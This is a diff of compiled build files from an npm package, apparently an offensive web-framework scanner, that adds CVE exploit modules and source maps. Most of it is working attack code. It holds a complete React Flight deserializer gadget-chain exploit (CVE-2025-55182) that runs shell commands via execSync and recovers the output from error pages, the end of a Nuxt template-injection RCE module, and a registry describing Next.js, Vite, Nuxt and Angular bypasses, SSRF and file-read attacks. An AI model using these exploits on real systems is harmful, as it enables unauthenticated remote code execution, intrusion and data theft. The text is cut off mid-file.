+            rawFindingExtras: { execOutput: result.output },
+        };
+    }
+    return {
+        vulnerable: false,
+        evidence: "Server Island sandbox-escape RCE proof did not succeed (patched, or endpoint/component name unknown).",
+        discoveredUrls: [],
+    };
+});
+export default cve202671320;
+//# sourceMappingURL=cve-2026-71320.js.map

package/build/exploit/nuxt/cve-2026-71320.js.map

@@ -0,0 +1 @@
+{"version":3,"file":"cve-2026-71320.js","sourceRoot":"","sources":["../../../src/exploit/nuxt/cve-2026-71320.ts"],"names":[],"mappings":"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"}

package/build/exploit/react/cve-2025-55182.js

@@ -0,0 +1,116 @@
+var __awaiter = (this && this.__awaiter) || function (thisArg, _arguments, P, generator) {
+    function adopt(value) { return value instanceof P ? value : new P(function (resolve) { resolve(value); }); }
+    return new (P || (P = Promise))(function (resolve, reject) {
+        function fulfilled(value) { try { step(generator.next(value)); } catch (e) { reject(e); } }
+        function rejected(value) { try { step(generator["throw"](value)); } catch (e) { reject(e); } }
+        function step(result) { result.done ? resolve(result.value) : adopt(result.value).then(fulfilled, rejected); }
+        step((generator = generator.apply(thisArg, _arguments || [])).next());
+    });
+};
+import rawRequest from "../utility/rawRequest.js";
+import runSandboxRceProof, { escapeDoubleQuotedLiteral } from "../utility/sandboxRce.js";
+const BOUNDARY = "----jsReconExploitBoundary";
+export const buildMultipartBody = (fields) => {
+    const parts = Object.entries(fields).map(([name, value]) => `--${BOUNDARY}\r\nContent-Disposition: form-data; name="${name}"\r\n\r\n${value}\r\n`);
+    return `${parts.join("")}--${BOUNDARY}--\r\n`;
+};
+export const buildRscHeaders = () => ({
+    "next-action": "",
+    "rsc-action": "null",
+    "content-type": `multipart/form-data; boundary=${BOUNDARY}`,
+});
+/**
+ * Field "0": crafted Flight chunk. The deserializer walks attacker-supplied property paths
+ * without an own-property guard: "$1:constructor:constructor" reaches Function.prototype.constructor
+ * (assigned onto response._formData.get), "$1:__proto__:then" reaches real Promise.prototype.then
+ * so the chunk satisfies React's thenable check — React calls .then() on it, invoking
+ * response._formData.get(response._prefix + N) = Function(prefix + N), i.e. the attacker string
+ * becomes the body of a dynamically constructed and invoked function.
+ */
+export const buildGadgetChunk = (jsBody) => JSON.stringify({
+    then: "$1:__proto__:then",
+    status: "resolved_model",
+    reason: -1,
+    value: '{"then": "$B0"}',
+    _response: {
+        _prefix: jsBody,
+        _formData: { get: "$1:constructor:constructor" },
+    },
+});
+// The attacker string becomes a dynamically-constructed function's BODY, so it must be a
+// syntactically complete statement sequence — no dangling expression. Throwing an Error (rather
+// than assigning a value, as the Nuxt sandbox escape does) surfaces the result directly in
+// Express's default error-handler HTML page, extracted below via extractErrorMessage().
+const stage1Js = (cmd) => `(function(){ import("node:child_process").then(function(m){ globalThis.__pocOut = m.execSync("${escapeDoubleQuotedLiteral(cmd)}").toString(); }); throw new Error("kicked"); })();`;
+// The thrown Error's message is only the first line of a much longer stack trace in Express's
+// default error page — a plain "did we get non-empty text back" check would treat the stack
+// trace itself as ready output on every attempt, even before __pocOut is set. Prefixing with a
+// distinct marker lets extractErrorMessage tell "real output" apart from "not ready yet" and from
+// the surrounding stack trace noise.
+const RESULT_MARKER = "JSRECON_RESULT:";
+const stage2Js = `throw new Error(${JSON.stringify(RESULT_MARKER)} + (globalThis.__pocOut || ""));`;
+/**
+ * Express's default (non-production) error page wraps the thrown Error's message + stack in a
+ * <pre>. Returns the text between the marker and the next newline (the stack trace starts on the
+ * following line), or null if the marker/output isn't present yet.
+ */
+export const extractErrorMessage = (html) => {
+    const match = /<pre>([\s\S]*?)<\/pre>/.exec(html);
+    if (!match)
+        return null;
+    const text = match[1].replace(/<br>/g, "\n").replace(/&quot;/g, '"');
+    const markerIndex = text.indexOf(RESULT_MARKER);
+    if (markerIndex === -1)
+        return null;
+    const afterMarker = text.slice(markerIndex + RESULT_MARKER.length);
+    const output = afterMarker.split("\n")[0].trim();
+    return output.length > 0 ? output : null;
+};
+/**
+ * CVE-2025-55182 "React2Shell": prototype-pollution gadget chain in React's Flight reply
+ * deserializer reaching an unauthenticated RCE. Requires the target to run Express 5 (Express 4
+ * crashes the process on the uncaught rejection instead of returning a clean error response) with
+ * `node --conditions react-server` — this handler still just attempts the exploit and interprets
+ * the result, since no live version/runtime-flag detection exists to gate on beforehand.
+ */
+const cve202555182 = (ctx) => __awaiter(void 0, void 0, void 0, function* () {
+    const sendGadget = (jsBody) => __awaiter(void 0, void 0, void 0, function* () {
+        return rawRequest(ctx.baseUrl, {
+            method: "POST",
+            timeout: ctx.timeout,
+            signal: ctx.signal,
+            headers: buildRscHeaders(),
+            // Field "1" must be the JSON string reference `"$@0"` (including its quotes), not the
+            // bare identifier — this is how Flight's reply format spells "resolve to chunk 0".
+            body: buildMultipartBody({ "0": buildGadgetChunk(jsBody), "1": '"$@0"' }),
+        });
+    });
+    const result = yield runSandboxRceProof({
+        sendStage1: (cmd) => __awaiter(void 0, void 0, void 0, function* () {
+            yield sendGadget(stage1Js(cmd));
+        }),
+        sendStage2: () => __awaiter(void 0, void 0, void 0, function* () {
+            const resp = yield sendGadget(stage2Js);
+            // The thrown error surfaces via Express's default error page, typically a 500 —
+            // don't gate on status, gate on whether a <pre> error body was actually returned.
+            if (!resp)
+                return null;
+            return extractErrorMessage(resp.body);
+        }),
+    }, ctx.execCmd);
+    if (result.succeeded) {
+        return {
+            vulnerable: true,
+            evidence: `React Flight deserializer RCE confirmed. Command "${ctx.execCmd}" output: ${result.output}`,
+            discoveredUrls: [],
+            rawFindingExtras: { execOutput: result.output },
+        };
+    }
+    return {
+        vulnerable: false,
+        evidence: "Flight gadget-chain RCE proof did not succeed (patched, not an RSC endpoint, or runtime precondition — Express 5 + --conditions react-server — unmet).",
+        discoveredUrls: [],
+    };
+});
+export default cve202555182;
+//# sourceMappingURL=cve-2025-55182.js.map

package/build/exploit/react/cve-2025-55182.js.map

@@ -0,0 +1 @@
+{"version":3,"file":"cve-2025-55182.js","sourceRoot":"","sources":["../../../src/exploit/react/cve-2025-55182.ts"],"names":[],"mappings":"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"}

package/build/exploit/registry/cveRegistry.js

@@ -0,0 +1,115 @@
+var __awaiter = (this && this.__awaiter) || function (thisArg, _arguments, P, generator) {
+    function adopt(value) { return value instanceof P ? value : new P(function (resolve) { resolve(value); }); }
+    return new (P || (P = Promise))(function (resolve, reject) {
+        function fulfilled(value) { try { step(generator.next(value)); } catch (e) { reject(e); } }
+        function rejected(value) { try { step(generator["throw"](value)); } catch (e) { reject(e); } }
+        function step(result) { result.done ? resolve(result.value) : adopt(result.value).then(fulfilled, rejected); }
+        step((generator = generator.apply(thisArg, _arguments || [])).next());
+    });
+};
+export const CVE_REGISTRY = Object.freeze([
+    Object.freeze({
+        id: "CVE-2025-29927",
+        commonName: "Next.js middleware authorization bypass",
+        framework: "next",
+        description: "The x-middleware-subrequest header (repeated 5x, matching MAX_RECURSION_DEPTH) causes Next.js's middleware sandbox to skip execution entirely, bypassing any auth/redirect logic implemented in middleware.ts.",
+        vulnerableRanges: ["<12.3.5", "<13.5.9", "<14.2.25", "<15.2.3"],
+        requiresLiveTarget: true,
+        handler: () => __awaiter(void 0, void 0, void 0, function* () { return (yield import("../next/cve-2025-29927.js")).default; }),
+    }),
+    Object.freeze({
+        id: "CVE-2026-64645",
+        commonName: "Next.js rewrites() dynamic destination SSRF",
+        framework: "next",
+        description: "A next.config rewrites() rule with a dynamic capture-group destination hostname can be redirected to an internal service, reflecting its response through the public origin (reflected SSRF).",
+        vulnerableRanges: ["12.0.0-15.5.20", "16.0.0-16.2.10"],
+        requiresLiveTarget: true,
+        handler: () => __awaiter(void 0, void 0, void 0, function* () { return (yield import("../next/cve-2026-64645.js")).default; }),
+    }),
+    Object.freeze({
+        id: "CVE-2025-30208",
+        commonName: "Vite server.fs.deny bypass (double query-mark)",
+        framework: "vite",
+        description: "A trailing double '?' on a /@fs/ request (e.g. ?import&raw??) defeats Vite dev server's fs.deny path filter, allowing arbitrary file reads outside the project root.",
+        vulnerableRanges: ["<=4.5.9", "5.0.0-5.4.14", "6.0.0-6.0.11", "6.1.0-6.1.1", "6.2.0-6.2.2"],
+        requiresLiveTarget: true,
+        handler: () => __awaiter(void 0, void 0, void 0, function* () { return (yield import("../vite/cve-2025-30208.js")).default; }),
+    }),
+    Object.freeze({
+        id: "CVE-2026-39363",
+        commonName: "Vite WebSocket fetchModule fs.deny bypass",
+        framework: "vite",
+        description: "Vite's vite-hmr WebSocket RPC exposes a fetchModule invoke that never applies the server.fs allow/deny checks the HTTP /@fs/ endpoint enforces, allowing arbitrary file reads over the HMR socket.",
+        vulnerableRanges: ["6.0.0-6.4.1", "7.0.0-7.3.1", "8.0.0-8.0.4"],
+        requiresLiveTarget: true,
+        handler: () => __awaiter(void 0, void 0, void 0, function* () { return (yield import("../vite/cve-2026-39363.js")).default; }),
+    }),
+    Object.freeze({
+        id: "CVE-2026-71320",
+        commonName: "Nuxt Server Island template injection RCE",
+        framework: "nuxt",
+        description: "A crafted 'as.template' prop on a /__nuxt_island/ request is compiled by Vue's SSR runtime template compiler, allowing a sandbox escape ('a'.constructor.constructor(...)) into full Node.js RCE.",
+        vulnerableRanges: ["<4.5.1"],
+        requiresLiveTarget: true,
+        handler: () => __awaiter(void 0, void 0, void 0, function* () { return (yield import("../nuxt/cve-2026-71320.js")).default; }),
+    }),
+    Object.freeze({
+        id: "CVE-2026-71315",
+        commonName: "Nuxt route-rule casing middleware bypass",
+        framework: "nuxt",
+        description: "An uppercase-containing routeRules key never matches at any request casing because the lookup path is lowercased but the compiled rule key isn't, silently dropping the route's appMiddleware auth gate.",
+        vulnerableRanges: ["unspecified (regression of CVE-2026-53721's fix)"],
+        requiresLiveTarget: true,
+        handler: () => __awaiter(void 0, void 0, void 0, function* () { return (yield import("../nuxt/cve-2026-71315.js")).default; }),
+    }),
+    Object.freeze({
+        id: "CVE-2026-53721",
+        commonName: "Nuxt route-rule casing middleware bypass (original)",
+        framework: "nuxt",
+        description: "Original disclosure of the route-rule casing mismatch middleware bypass later regressed by CVE-2026-71315; same exploitation mechanism, same handler.",
+        vulnerableRanges: ["unspecified"],
+        requiresLiveTarget: true,
+        handler: () => __awaiter(void 0, void 0, void 0, function* () { return (yield import("../nuxt/cve-2026-71315.js")).default; }),
+    }),
+    Object.freeze({
+        id: "CVE-2026-68945",
+        commonName: "Angular HttpTransferCache key collision",
+        framework: "angular",
+        description: "HttpTransferCache's cache-key builder joins repeated query params with Array.prototype.join(','), so ?tag=a&tag=b and ?tag=a,b collide to the same cache entry, letting one request's cached response leak to a different query shape.",
+        vulnerableRanges: ["19.x (unfixed for entire line)", "<20.3.27", "<21.2.19", "<22.0.2"],
+        requiresLiveTarget: true,
+        handler: () => __awaiter(void 0, void 0, void 0, function* () { return (yield import("../angular/cve-2026-68945.js")).default; }),
+    }),
+    Object.freeze({
+        id: "CVE-2025-55182",
+        commonName: 'React Server Components Flight deserializer RCE ("React2Shell")',
+        framework: "react",
+        description: "React's Flight reply deserializer walks attacker-supplied property paths without an own-property guard, reaching Function.prototype.constructor via a __proto__ gadget chain for unauthenticated RCE. Requires Express 5 + node --conditions react-server on the target.",
+        vulnerableRanges: [
+            "react-server-dom-webpack/-parcel/-turbopack 19.0.0/19.1.0/19.1.1/19.2.0",
+            "Next.js 14.3.0-canary.77+/15.x/16.x (bundled React)",
+        ],
+        requiresLiveTarget: true,
+        handler: () => __awaiter(void 0, void 0, void 0, function* () { return (yield import("../react/cve-2025-55182.js")).default; }),
+    }),
+]);
+export const findCveMetadata = (cveId) => CVE_REGISTRY.find((cve) => cve.id.toLowerCase() === cveId.trim().toLowerCase());
+/** Grouped by framework (alphabetical), sorted by CVE ID within each group — the shape --list-cve prints. */
+export const groupedByFramework = () => {
+    var _a, _b;
+    const groups = new Map();
+    for (const cve of CVE_REGISTRY) {
+        const list = (_a = groups.get(cve.framework)) !== null && _a !== void 0 ? _a : [];
+        list.push(cve);
+        groups.set(cve.framework, list);
+    }
+    const sortedFrameworks = Array.from(groups.keys()).sort();
+    const result = new Map();
+    for (const framework of sortedFrameworks) {
+        const list = [...((_b = groups.get(framework)) !== null && _b !== void 0 ? _b : [])].sort((a, b) => a.id.localeCompare(b.id));
+        result.set(framework, Object.freeze(list));
+    }
+    return result;
+};
+export default CVE_REGISTRY;
+//# sourceMappingURL=cveRegistry.js.map

package/build/exploit/registry/cveRegistry.js.map

@@ -0,0 +1 @@
+{"version":3,"file":"cveRegistry.js","sourceRoot":"","sources":["../../../src/exploit/registry/cveRegistry.ts"],"names":[],"mappings":"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